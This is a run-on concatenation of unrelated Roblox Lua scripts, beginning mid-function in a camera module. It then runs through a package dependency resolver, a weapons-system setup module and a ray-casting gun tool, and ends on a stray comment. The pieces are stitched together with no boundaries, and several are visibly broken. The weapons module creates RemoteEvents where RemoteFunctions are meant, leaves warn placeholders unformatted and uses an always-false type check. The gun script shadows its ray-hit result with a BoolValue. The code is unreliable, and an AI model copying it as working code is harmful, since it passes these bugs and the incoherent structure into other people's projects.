self:CalculateNewLookCFrameFromArg(overrideCameraLookVector, rotateInput) local offset: Vector3 = self:GetMouseLockOffset() local cameraRelativeOffset: Vector3 = offset.X * newLookCFrame.rightVector + offset.Y * newLookCFrame.upVector + offset.Z * newLookCFrame.lookVector --offset can be NAN, NAN, NAN if newLookVector has only y component if Util.IsFiniteVector3(cameraRelativeOffset) then subjectPosition = subjectPosition + cameraRelativeOffset end else local userPanningTheCamera = CameraInput.getRotation() ~= Vector2.new() if not userPanningTheCamera and self.lastCameraTransform then local isInFirstPerson = self:IsInFirstPerson() if (isInVehicle or isOnASkateboard or (self.isFollowCamera and isClimbing)) and self.lastUpdate and humanoid and humanoid.Torso then if isInFirstPerson then if self.lastSubjectCFrame and (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then local y = -Util.GetAngleBetweenXZVectors(self.lastSubjectCFrame.lookVector, cameraSubject.CFrame.lookVector) if Util.IsFinite(y) then rotateInput = rotateInput + Vector2.new(y, 0) end tweenSpeed = 0 end elseif not userRecentlyPannedCamera then local forwardVector = humanoid.Torso.CFrame.lookVector tweenSpeed = math.clamp(tweenSpeed + tweenAcceleration * timeDelta, 0, tweenMaxSpeed) local percent = math.clamp(tweenSpeed * timeDelta, 0, 1) if self:IsInFirstPerson() and not (self.isFollowCamera and self.isClimbing) then percent = 1 end local y = Util.GetAngleBetweenXZVectors(forwardVector, self:GetCameraLookVector()) if Util.IsFinite(y) and math.abs(y) > 0.0001 then rotateInput = rotateInput + Vector2.new(y * percent, 0) end end elseif self.isFollowCamera and (not (isInFirstPerson or userRecentlyPannedCamera) and not VRService.VREnabled) then -- Logic that was unique to the old FollowCamera module local lastVec = -(self.lastCameraTransform.p - subjectPosition) local y = Util.GetAngleBetweenXZVectors(lastVec, self:GetCameraLookVector()) -- This cutoff is to decide if the humanoid's angle of movement, -- relative to the camera's look vector, is enough that -- we want the camera to be following them. The point is to provide -- a sizable dead zone to allow more precise forward movements. local thetaCutoff = 0.4 -- Check for NaNs if Util.IsFinite(y) and math.abs(y) > 0.0001 and math.abs(y) > thetaCutoff * timeDelta then rotateInput = rotateInput + Vector2.new(y, 0) end end end end if not self.isFollowCamera then local VREnabled = VRService.VREnabled if VREnabled then newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta) else newCameraFocus = CFrame.new(subjectPosition) end local cameraFocusP = newCameraFocus.p if VREnabled and not self:IsInFirstPerson() then local vecToSubject = (subjectPosition - camera.CFrame.p) local distToSubject = vecToSubject.magnitude local flaggedRotateInput = rotateInput -- Only move the camera if it exceeded a maximum distance to the subject in VR if distToSubject > zoom or flaggedRotateInput.x ~= 0 then local desiredDist = math.min(distToSubject, zoom) vecToSubject = self:CalculateNewLookVectorFromArg(nil, rotateInput) * desiredDist local newPos = cameraFocusP - vecToSubject local desiredLookDir = camera.CFrame.lookVector if flaggedRotateInput.x ~= 0 then desiredLookDir = vecToSubject end local lookAt = Vector3.new(newPos.x + desiredLookDir.x, newPos.y, newPos.z + desiredLookDir.z) newCameraCFrame = CFrame.new(newPos, lookAt) + Vector3.new(0, cameraHeight, 0) end else local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput) newCameraCFrame = CFrame.new(cameraFocusP - (zoom * newLookVector), cameraFocusP) end else -- is FollowCamera local newLookVector = self:CalculateNewLookVectorFromArg(overrideCameraLookVector, rotateInput) if VRService.VREnabled then newCameraFocus = self:GetVRFocus(subjectPosition, timeDelta) else newCameraFocus = CFrame.new(subjectPosition) end newCameraCFrame = CFrame.new(newCameraFocus.p - (zoom * newLookVector), newCameraFocus.p) + Vector3.new(0, cameraHeight, 0) end local toggleOffset = self:GetCameraToggleOffset(timeDelta) newCameraFocus = newCameraFocus + toggleOffset newCameraCFrame = newCameraCFrame + toggleOffset self.lastCameraTransform = newCameraCFrame self.lastCameraFocus = newCameraFocus if (isInVehicle or isOnASkateboard) and cameraSubject:IsA("BasePart") then self.lastSubjectCFrame = cameraSubject.CFrame else self.lastSubjectCFrame = nil end end self.lastUpdate = now return newCameraCFrame, newCameraFocus end function ClassicCamera:EnterFirstPerson() self.inFirstPerson = true self:UpdateMouseBehavior() end function ClassicCamera:LeaveFirstPerson() self.inFirstPerson = false self:UpdateMouseBehavior() end return ClassicCamera
--[[START]]
script.Parent:WaitForChild("Bike") script.Parent:WaitForChild("IsOn") script.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Values")
--[=[ Utility methods to build a virtual graph of the existing package information set @private @class PackageInfoUtils ]=]
local BounceTemplateUtils = require(script.Parent.BounceTemplateUtils) local LoaderConstants = require(script.Parent.LoaderConstants) local Queue = require(script.Parent.Queue) local ScriptInfoUtils = require(script.Parent.ScriptInfoUtils) local Utils = require(script.Parent.Utils) local PackageInfoUtils = {} function PackageInfoUtils.createPackageInfo(packageFolder, explicitDependencySet, scriptInfoLookup, fullName) assert(typeof(packageFolder) == "Instance", "Bad packageFolder") assert(type(explicitDependencySet) == "table", "Bad explicitDependencySet") assert(type(scriptInfoLookup) == "table", "Bad scriptInfoLookup") assert(type(fullName) == "string", "Bad fullName") return Utils.readonly({ name = packageFolder.Name; fullName = fullName; instance = packageFolder; explicitDependencySet = explicitDependencySet; dependencySet = false; -- will be filled in later, contains ALL expected dependencies scriptInfoLookup = scriptInfoLookup; }) end function PackageInfoUtils.createDependencyQueueInfo(packageInfo, implicitDependencySet) assert(type(packageInfo) == "table", "Bad packageInfo") assert(type(implicitDependencySet) == "table", "Bad implicitDependencySet") return Utils.readonly({ packageInfo = packageInfo; implicitDependencySet = implicitDependencySet; }) end function PackageInfoUtils.fillDependencySet(packageInfoList) assert(type(packageInfoList) == "table", "Bad packageInfoList") local queue = Queue.new() local seen = {} do local topDependencySet = {} for _, packageInfo in pairs(packageInfoList) do if not seen[packageInfo] then topDependencySet[packageInfo] = packageInfo seen[packageInfo] = true queue:PushRight(PackageInfoUtils.createDependencyQueueInfo(packageInfo, topDependencySet)) end end end -- Flaw: We can enter this dependency chain from multiple paths (we're a cyclic directed graph, not a tree) -- TODO: Determine node_modules behavior and copy it (hopefully any link upwards words) -- For now we do breadth first resolution of this to ensure minimal dependencies are accumulated for deep trees while not queue:IsEmpty() do local queueInfo = queue:PopLeft() assert(not queueInfo.packageInfo.dependencySet, "Already wrote dependencySet") local dependencySet = PackageInfoUtils .computePackageDependencySet(queueInfo.packageInfo, queueInfo.implicitDependencySet) queueInfo.packageInfo.dependencySet = dependencySet -- Process all explicit dependencies for the next level for packageInfo, _ in pairs(queueInfo.packageInfo.explicitDependencySet) do if not seen[packageInfo] then seen[packageInfo] = true queue:PushRight(PackageInfoUtils.createDependencyQueueInfo(packageInfo, dependencySet)) end end end end function PackageInfoUtils.computePackageDependencySet(packageInfo, implicitDependencySet) assert(type(packageInfo) == "table", "Bad packageInfo") assert(type(implicitDependencySet) == "table", "Bad implicitDependencySet") -- assume folders with the same name are the same module local dependencyNameMap = {} -- Set implicit dependencies if LoaderConstants.INCLUDE_IMPLICIT_DEPENDENCIES then for entry, _ in pairs(implicitDependencySet) do dependencyNameMap[entry.name] = entry end end -- These override implicit ones for entry, _ in pairs(packageInfo.explicitDependencySet) do dependencyNameMap[entry.name] = entry end -- clear ourself as a dependency dependencyNameMap[packageInfo.name] = nil -- Note we leave conflicting scripts here as unresolved. This will output an error later. local dependencySet = {} for _, entry in pairs(dependencyNameMap) do dependencySet[entry] = true end return dependencySet end function PackageInfoUtils.getOrCreatePackageInfo(packageFolder, packageInfoMap, scope, defaultReplicationType) assert(typeof(packageFolder) == "Instance", "Bad packageFolder") assert(type(packageInfoMap) == "table", "Bad packageInfoMap") assert(type(scope) == "string", "Bad scope") assert(defaultReplicationType, "No defaultReplicationType") if packageInfoMap[packageFolder] then return packageInfoMap[packageFolder] end local scriptInfoLookup = ScriptInfoUtils.createScriptInfoLookup() ScriptInfoUtils.populateScriptInfoLookup( packageFolder, scriptInfoLookup, defaultReplicationType) local explicitDependencySet = {} local fullName if scope == "" then fullName = packageFolder.Name else fullName = scope .. "/" .. packageFolder.Name end local packageInfo = PackageInfoUtils .createPackageInfo(packageFolder, explicitDependencySet, scriptInfoLookup, fullName) packageInfoMap[packageFolder] = packageInfo -- Fill this after we've registered ourselves, in case we're somehow in a recursive dependency set PackageInfoUtils.fillExplicitPackageDependencySet( explicitDependencySet, packageFolder, packageInfoMap, defaultReplicationType) return packageInfo end function PackageInfoUtils.getPackageInfoListFromDependencyFolder(folder, packageInfoMap, defaultReplicationType) assert(typeof(folder) == "Instance" and folder:IsA("Folder"), "Bad folder") assert(type(packageInfoMap) == "table", "Bad packageInfoMap") assert(defaultReplicationType, "No defaultReplicationType") local packageInfoList = {} -- Assume we are at the dependency level for _, instance in pairs(folder:GetChildren()) do if instance:IsA("Folder") then -- We loop through each "@quenty" or "@blah" and convert to a package if instance.Name:sub(1, 1) == "@" then local scope = instance.Name for _, child in pairs(instance:GetChildren()) do PackageInfoUtils.tryLoadPackageFromInstance(packageInfoList, packageInfoMap, child, scope, defaultReplicationType) end else PackageInfoUtils.tryLoadPackageFromInstance(packageInfoList, packageInfoMap, instance, "", defaultReplicationType) end else warn(("Unknown instance in dependencyFolder - %q"):format(instance:GetFullName())) end end return packageInfoList end function PackageInfoUtils.tryLoadPackageFromInstance( packageInfoList, packageInfoMap, instance, scope, defaultReplicationType) assert(type(packageInfoList) == "table", "Bad packageInfoList") assert(type(packageInfoMap) == "table", "Bad packageInfoMap") assert(typeof(instance) == "Instance", "Bad instance") assert(type(scope) == "string", "Bad scope") assert(defaultReplicationType, "No defaultReplicationType") if BounceTemplateUtils.isBounceTemplate(instance) then return end if instance:IsA("Folder") or instance:IsA("ModuleScript") then table.insert(packageInfoList, PackageInfoUtils.getOrCreatePackageInfo( instance, packageInfoMap, scope, defaultReplicationType)) elseif instance:IsA("ObjectValue") then local value = instance.Value if value and (value:IsA("Folder") or value:IsA("ModuleScript")) then table.insert(packageInfoList, PackageInfoUtils.getOrCreatePackageInfo( value, packageInfoMap, scope, defaultReplicationType)) else error(("Invalid %q ObjectValue in package linking to nothing cannot be resolved into package dependency\n\t-> %s") :format(instance.Name, instance:GetFullName())) end end end
--Set up WeaponTypes lookup table
do local function onNewWeaponType(weaponTypeModule) if not weaponTypeModule:IsA("ModuleScript") then return end local weaponTypeName = weaponTypeModule.Name xpcall(function() coroutine.wrap(function() local weaponType = require(weaponTypeModule) assert(typeof(weaponType) == "table", string.format("WeaponType \"%s\" did not return a valid table", weaponTypeModule:GetFullName())) WEAPON_TYPES_LOOKUP[weaponTypeName] = weaponType end)() end, function(errMsg) warn(string.format("Error while loading %s: %s", weaponTypeModule:GetFullName(), errMsg)) warn(debug.traceback()) end) end for _, child in pairs(WeaponTypes:GetChildren()) do onNewWeaponType(child) end WeaponTypes.ChildAdded:Connect(onNewWeaponType) end local WeaponsSystem = {} WeaponsSystem.didSetup = false WeaponsSystem.knownWeapons = {} WeaponsSystem.connections = {} WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} WeaponsSystem.currentWeapon = nil WeaponsSystem.aimRayCallback = nil WeaponsSystem.CurrentWeaponChanged = Instance.new("BindableEvent") local NetworkingCallbacks = require(WeaponsSystemFolder:WaitForChild("NetworkingCallbacks")) NetworkingCallbacks.WeaponsSystem = WeaponsSystem local _damageCallback = nil local _getTeamCallback = nil function WeaponsSystem.setDamageCallback(cb) _damageCallback = cb end function WeaponsSystem.setGetTeamCallback(cb) _getTeamCallback = cb end function WeaponsSystem.setup() if WeaponsSystem.didSetup then warn("Warning: trying to run WeaponsSystem setup twice on the same module.") return end print(script.Parent:GetFullName(), "is now active.") WeaponsSystem.doingSetup = true --Setup network routing if IsServer then local networkFolder = Instance.new("Folder") networkFolder.Name = "Network" for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do local remoteEvent = Instance.new("RemoteEvent") remoteEvent.Name = remoteEventName remoteEvent.Parent = networkFolder local callback = NetworkingCallbacks[remoteEventName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteEvent \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnServerEvent:Connect(function(...) callback(...) end) WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do local remoteFunc = Instance.new("RemoteEvent") remoteFunc.Name = remoteFuncName remoteFunc.Parent = networkFolder local callback = NetworkingCallbacks[remoteFuncName] if not callback then --Connect a no-op function to ensure the queue doesn't pile up. warn("There is no server callback implemented for the WeaponsSystem RemoteFunction \"%s\"!") warn("A default no-op function will be implemented so that the queue cannot be abused.") callback = function() end end remoteFunc.OnServerInvoke = function(...) return callback(...) end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end networkFolder.Parent = WeaponsSystemFolder WeaponsSystem.networkFolder = networkFolder else WeaponsSystem.StarterGui = game:GetService("StarterGui") WeaponsSystem.camera = ShoulderCamera.new(WeaponsSystem) WeaponsSystem.gui = WeaponsGui.new(WeaponsSystem) if ConfigurationValues.SprintEnabled.Value then WeaponsSystem.camera:setSprintEnabled(ConfigurationValues.SprintEnabled.Value) end if ConfigurationValues.SlowZoomWalkEnabled.Value then WeaponsSystem.camera:setSlowZoomWalkEnabled(ConfigurationValues.SlowZoomWalkEnabled.Value) end local networkFolder = WeaponsSystemFolder:WaitForChild("Network", math.huge) for _, remoteEventName in pairs(REMOTE_EVENT_NAMES) do coroutine.wrap(function() local remoteEvent = networkFolder:WaitForChild(remoteEventName, math.huge) local callback = NetworkingCallbacks[remoteEventName] if callback then WeaponsSystem.connections[remoteEventName .. "Remote"] = remoteEvent.OnClientEvent:Connect(function(...) callback(...) end) end WeaponsSystem.remoteEvents[remoteEventName] = remoteEvent end)() end for _, remoteFuncName in pairs(REMOTE_FUNCTION_NAMES) do coroutine.wrap(function() local remoteFunc = networkFolder:WaitForChild(remoteFuncName, math.huge) local callback = NetworkingCallbacks[remoteFuncName] if callback then remoteFunc.OnClientInvoke = function(...) return callback(...) end end WeaponsSystem.remoteFunctions[remoteFuncName] = remoteFunc end)() end Players.LocalPlayer.CharacterAdded:Connect(WeaponsSystem.onCharacterAdded) if Players.LocalPlayer.Character then WeaponsSystem.onCharacterAdded(Players.LocalPlayer.Character) end WeaponsSystem.networkFolder = networkFolder WeaponsSystem.camera:setEnabled(true) end --Setup weapon tools and listening WeaponsSystem.connections.weaponAdded = CollectionService:GetInstanceAddedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponAdded) WeaponsSystem.connections.weaponRemoved = CollectionService:GetInstanceRemovedSignal(WEAPON_TAG):Connect(WeaponsSystem.onWeaponRemoved) for _, instance in pairs(CollectionService:GetTagged(WEAPON_TAG)) do WeaponsSystem.onWeaponAdded(instance) end WeaponsSystem.doingSetup = false WeaponsSystem.didSetup = true end function WeaponsSystem.onCharacterAdded(character) -- Make it so players unequip weapons while seated, then reequip weapons when they become unseated local humanoid = character:WaitForChild("Humanoid") WeaponsSystem.connections.seated = humanoid.Seated:Connect(function(isSeated) if isSeated then WeaponsSystem.seatedWeapon = character:FindFirstChildOfClass("Tool") humanoid:UnequipTools() else humanoid:EquipTool(WeaponsSystem.seatedWeapon) end end) end function WeaponsSystem.shutdown() if not WeaponsSystem.didSetup then return end for _, weapon in pairs(WeaponsSystem.knownWeapons) do weapon:onDestroyed() end WeaponsSystem.knownWeapons = {} if IsServer and WeaponsSystem.networkFolder then WeaponsSystem.networkFolder:Destroy() end WeaponsSystem.networkFolder = nil WeaponsSystem.remoteEvents = {} WeaponsSystem.remoteFunctions = {} for _, connection in pairs(WeaponsSystem.connections) do if typeof(connection) == "RBXScriptConnection" then connection:Disconnect() end end WeaponsSystem.connections = {} end function WeaponsSystem.getWeaponTypeFromTags(instance) for _, tag in pairs(CollectionService:GetTags(instance)) do local weaponTypeFound = WEAPON_TYPES_LOOKUP[tag] if weaponTypeFound then return weaponTypeFound end end return nil end function WeaponsSystem.createWeaponForInstance(weaponInstance) coroutine.wrap(function() local weaponType = WeaponsSystem.getWeaponTypeFromTags(weaponInstance) if not weaponType then local weaponTypeObj = weaponInstance:WaitForChild("WeaponType") if weaponTypeObj and weaponTypeObj:IsA("StringValue") then local weaponTypeName = weaponTypeObj.Value local weaponTypeFound = WEAPON_TYPES_LOOKUP[weaponTypeName] if not weaponTypeFound then warn(string.format("Cannot find the weapon type \"%s\" for the instance %s!", weaponTypeName, weaponInstance:GetFullName())) return end weaponType = weaponTypeFound else warn("Could not find a WeaponType tag or StringValue for the instance ", weaponInstance:GetFullName()) return end end -- Since we might have yielded while trying to get the WeaponType, we need to make sure not to continue -- making a new weapon if something else beat this iteration. if WeaponsSystem.getWeaponForInstance(weaponInstance) then warn("Already got ", weaponInstance:GetFullName()) warn(debug.traceback()) return end -- We should be pretty sure we got a valid weaponType by now assert(weaponType, "Got invalid weaponType") local weapon = weaponType.new(WeaponsSystem, weaponInstance) WeaponsSystem.knownWeapons[weaponInstance] = weapon end)() end function WeaponsSystem.getWeaponForInstance(weaponInstance) if not typeof(weaponInstance) == "Instance" then warn("WeaponsSystem.getWeaponForInstance(weaponInstance): 'weaponInstance' was not an instance.") return nil end return WeaponsSystem.knownWeapons[weaponInstance] end
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") UserInputService = game:GetService("UserInputService") AmmoDisplay = script:WaitForChild("AmmoDisplay"):Clone() CastLaser = Tool:WaitForChild("CastLaser"):Clone() Camera = game:GetService("Workspace").CurrentCamera BaseUrl = "http://www.roblox.com/asset/?id=" AnimationTracks = {} LocalObjects = {} Animations = { Hold = {Animation = Tool:WaitForChild("Hold"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2}, Fire = {Animation = Tool:WaitForChild("Fire"), FadeTime = 0.25, Weight = nil, Speed = 0.5, Duration = 0.5}, Reload = {Animation = Tool:WaitForChild("Reload"), FadeTime = nil, Weight = nil, Speed = 1, Duration = 2}, } Sounds = { Reload = Handle:WaitForChild("Reload"), NoAmmo = Handle:WaitForChild("NoAmmo"), } Modules = Tool:WaitForChild("Modules") Functions = require(Modules:WaitForChild("Functions")) Remotes = Tool:WaitForChild("Remotes") ServerControl = Remotes:WaitForChild("ServerControl") ClientControl = Remotes:WaitForChild("ClientControl") ConfigurationBin = Tool:WaitForChild("Configuration") Configuration = {} Configuration = Functions.CreateConfiguration(ConfigurationBin, Configuration) InputCheck = Instance.new("ScreenGui") InputCheck.Name = "InputCheck" InputButton = Instance.new("ImageButton") InputButton.Name = "InputButton" InputButton.Image = "" InputButton.BackgroundTransparency = 1 InputButton.ImageTransparency = 1 InputButton.Size = UDim2.new(1, 0, 1, 0) InputButton.Parent = InputCheck Cursors = { Normal = (BaseUrl .. "170908665"), EnemyHit = (BaseUrl .. "172618259"), } Rate = (1 / 60) FiringOffset = Vector3.new(0, ((Handle.Size.Y / 4) - 0.2), -(Handle.Size.Z / 2)) Reloading = false MouseDown = false ToolEquipped = false Tool.Enabled = true function SetAnimation(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop() table.remove(AnimationTracks, i) end end local AnimationTrack = Humanoid:LoadAnimation(value.Animation) table.insert(AnimationTracks, {Animation = value.Animation, AnimationTrack = AnimationTrack}) AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed) elseif mode == "StopAnimation" and value then for i, v in pairs(AnimationTracks) do if v.Animation == value.Animation then v.AnimationTrack:Stop(value.FadeTime) table.remove(AnimationTracks, i) end end end end function ToggleGui() if not AmmoDisplayClone or not AmmoDisplayClone.Parent then return end local Frame = AmmoDisplayClone.Frame local Ammo = Frame.Ammo if Configuration.Ammo.ClipSize.MaxValue > 0 then Ammo.AmmoCounter.CounterPart.Text = Configuration.Ammo.ClipSize.Value end Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value end function Reload() if Reloading or not Tool.Enabled or Configuration.Ammo.Magazines.Value >= Configuration.Ammo.Magazines.MaxValue then return end Tool.Enabled = false Reloading = true ToggleGui() local CanReload = true if Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value <= 0 then CanReload = false else CanReload = true end if CanReload then Spawn(function() local Animation = Animations.Reload OnClientInvoke("PlayAnimation", Animation) wait(Animation.Duration) OnClientInvoke("StopAnimation", Animation) end) Sounds.Reload:Play() local AddedClips = ((Configuration.Ammo.Magazines.MaxValue > 0 and (Configuration.Ammo.Magazines.MaxValue - Configuration.Ammo.Magazines.Value)) or Configuration.Ammo.ClipSize.MaxValue) if Configuration.Ammo.ClipSize.MaxValue > 0 then AddedClips = ((AddedClips > Configuration.Ammo.ClipSize.Value and Configuration.Ammo.ClipSize.Value) or AddedClips) end --[[local ReloadRate = (Configuration.ReloadTime.Value / Configuration.Ammo.Magazines.MaxValue) for i = 1, AddedClips do wait(ReloadTime) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + 1) end]] wait(Configuration.ReloadTime.Value) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value + AddedClips) Configuration.Ammo.ClipSize.Value = (Configuration.Ammo.ClipSize.Value - AddedClips) Sounds.Reload:Stop() ToggleGui() end Reloading = false Tool.Enabled = true end function RayTouched(Hit, Position) if not Hit or not Hit.Parent then return end local character = Hit.Parent if character:IsA("Hat") then character = character.Parent end if character == Character then return end local Player = character:FindFirstChild("Player") local SoundChosen = Sounds.RayHit if not Player or Player.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) if player and Functions.IsTeamMate(Player, player) then return end Spawn(function() IconChangeTick = tick() PlayerMouse.Icon = Cursors.EnemyHit wait(1) if (tick() - IconChangeTick) >= 0.95 and ToolEquipped and PlayerMouse then PlayerMouse.Icon = Cursors.Normal end end) end function FireRay(StartPosition, TargetPosition) local Direction = CFrame.new(StartPosition, TargetPosition).lookVector local RayHit, RayPos, RayNormal = Functions.CastRay(StartPosition, Direction, Configuration.Range.Value, {Character}, false) local Backpack = Player:FindFirstChild("Backpack") if Backpack then local LaserScript = CastLaser:Clone() local StartPos = Instance.new("Vector3Value") StartPos.Name = "StartPosition" StartPos.Value = StartPosition StartPos.Parent = LaserScript local TargetPos = Instance.new("Vector3Value") TargetPos.Name = "TargetPosition" TargetPos.Value = RayPos TargetPos.Parent = LaserScript local RayHit = Instance.new("BoolValue") RayHit.Name = "RayHit" RayHit.Value = RayHit RayHit.Parent = LaserScript LaserScript.Disabled = false LaserScript.Parent = Backpack end Spawn(function() InvokeServer("CastLaser", {StartPosition = StartPosition, TargetPosition = RayPos, RayHit = ((RayHit and true) or false)}) end) Spawn(function() InvokeServer("RayHit", {Hit = RayHit, Position = RayPos}) end) RayTouched(RayHit, RayPos) end function Button1Pressed(Down) if not Down and MouseDown then MouseDown = false end end function KeyPress(Key, Down) if Key == "r" and Down then Reload() end end function Activated() if not Tool.Enabled or not ToolEquipped or Reloading then return end Tool.Enabled = false if Configuration.Ammo.Magazines.Value > 0 then local FirstShot = false if Configuration.Automatic.Value then MouseDown = true end OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = nil}) OnClientInvoke("PlayAnimation", Animations.Fire) while MouseDown or not FirstShot and ToolEquipped and CheckIfAlive() do if Configuration.Ammo.Magazines.Value <= 0 or not ToolEquipped or not CheckIfAlive() then break end if not FirstShot then FirstShot = true end local BurstAmount = math.random(Configuration.Burst.Bullets.MinValue, Configuration.Burst.Bullets.MaxValue) local WithinFiringRange = false Spawn(function() InvokeServer("Fire", true) end) for i = 1, ((BurstAmount > 0 and BurstAmount) or 1) do local TargetPosition = OnClientInvoke("MousePosition") if not TargetPosition then break end TargetPosition = TargetPosition.Position local StartPosition = (Handle.CFrame * CFrame.new(FiringOffset.X, FiringOffset.Y, FiringOffset.Z)).p if BurstAmount > 0 then local Offset = (Configuration.Burst.Offset.Value * 100) TargetPosition = TargetPosition + Vector3.new((math.random(-Offset.X, Offset.X) * 0.01), (math.random(-Offset.Y, Offset.Y) * 0.01), (math.random(-Offset.Z, Offset.Z) * 0.01)) end local Accuracy = (Configuration.Accuracy.Value * 100) TargetPosition = TargetPosition + Vector3.new((math.random(-Accuracy.X, Accuracy.X) * 0.01), (math.random(-Accuracy.Y, Accuracy.Y) * 0.01), (math.random(-Accuracy.Z, Accuracy.Z) * 0.01)) Configuration.Ammo.Magazines.Value = (Configuration.Ammo.Magazines.Value - 1) FireRay(StartPosition, TargetPosition) end ToggleGui() wait(Configuration.FireRate.Value) end OnClientInvoke("StopAnimation", {Animation = Animations.Fire.Animation, FadeTime = 0.25}) else Tool.Enabled = true Sounds.NoAmmo:Play() Reload() end MouseDown = false Tool.Enabled = true if Configuration.Ammo.Magazines.Value <= 0 then Sounds.NoAmmo:Play() Reload() end end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Equipped(Mouse) Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") if not CheckIfAlive() then return end ToolEquipped = true Spawn(function() PlayerMouse = Player:GetMouse() Mouse.Button1Down:connect(function() Button1Pressed(true) end) Mouse.Button1Up:connect(function() Button1Pressed(false) end) Mouse.KeyDown:connect(function(Key) KeyPress(Key, true) end) Mouse.KeyUp:connect(function(Key) KeyPress(Key, false) end) Humanoid.CameraOffset = Vector3.new(0, 0.35, 0) OnClientInvoke("PlayAnimation", Animations.Hold) local PlayerGui = Player:FindFirstChild("PlayerGui") if PlayerGui then if UserInputService.TouchEnabled then InputCheckClone = InputCheck:Clone() InputCheckClone.InputButton.InputBegan:connect(function() InvokeServer("Button1Click", {Down = true}) end) InputCheckClone.InputButton.InputEnded:connect(function() InvokeServer("Button1Click", {Down = false}) end) InputCheckClone.Parent = PlayerGui end local function AdjustAmmoDisplay() local Frame = AmmoDisplayClone.Frame Frame.CurrentWeapon.Text = Configuration.ToolName.Value local Ammo = Frame.Ammo Ammo.AmmoCounter.CounterPart.Text = ((Configuration.Ammo.ClipSize.MaxValue > 0 and Configuration.Ammo.ClipSize.Value) or "--") Ammo.MagCounter.CounterPart.Text = Configuration.Ammo.Magazines.Value end AmmoDisplayClone = AmmoDisplay:Clone() AdjustAmmoDisplay() AmmoDisplayClone.Parent = PlayerGui ToggleGui() for i, v in pairs({ClipSizeChanged, MagazinesChanged}) do if v then v:disconnect() end end ClipSizeChanged = Configuration.Ammo.ClipSize.Changed:connect(function() AdjustAmmoDisplay() end) MagazinesChanged = Configuration.Ammo.Magazines.Changed:connect(function() AdjustAmmoDisplay() end) end for i, v in pairs({"Left Arm", "Right Arm"}) do local Arm = Character:FindFirstChild(v) if Arm then Spawn(function() OnClientInvoke("SetLocalTransparencyModifier", {Object = Arm, Transparency = 0, AutoUpdate = false}) end) end end Mouse.Icon = Cursors.Normal end) end function Unequipped() LocalObjects = {} if CheckIfAlive() then Humanoid.CameraOffset = Vector3.new(0, 0, 0) end for i, v in pairs(Sounds) do v:Stop() end if PlayerMouse then PlayerMouse.Icon = "" end for i, v in pairs({InputCheckClone, ObjectLocalTransparencyModifier, AmmoDisplayClone, ClipSizeChanged, MagazinesChanged}) do if tostring(v) == "Connection" then v:disconnect() elseif v and v.Parent then v:Destroy() end end MouseDown = false for i, v in pairs(AnimationTracks) do if v and v.AnimationTrack then v.AnimationTrack:Stop() end end AnimationTracks = {} ToolEquipped = false end function InvokeServer(mode, value) pcall(function() local ServerReturn = ServerControl:InvokeServer(mode, value) return ServerReturn end) end function OnClientInvoke(mode, value) if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then SetAnimation("PlayAnimation", value) elseif mode == "StopAnimation" and value then SetAnimation("StopAnimation", value) elseif mode == "PlaySound" and value then value:Play() elseif mode == "StopSound" and value then value:Stop() elseif mode == "MousePosition" then return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target} elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then pcall(function() local ObjectFound = false for i, v in pairs(LocalObjects) do if v == value then ObjectFound = true end end if not ObjectFound then table.insert(LocalObjects, value) if ObjectLocalTransparencyModifier then ObjectLocalTransparencyModifier:disconnect() end ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function() for i, v in pairs(LocalObjects) do if v.Object and v.Object.Parent then local CurrentTransparency = v.Object.LocalTransparencyModifier if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then v.Object.LocalTransparencyModifier = v.Transparency end else table.remove(LocalObjects, i) end end end) end end) end end ClientControl.OnClientInvoke = OnClientInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--[[ Returns a character model wearing an outfit that corresponds to what the "player" is already wearing, with the addition of one item described by "itemInfo". If the player is already wearing something of the same category, that existing item is removed first. If no player is provided, create instead a dummy with a default look. ]]
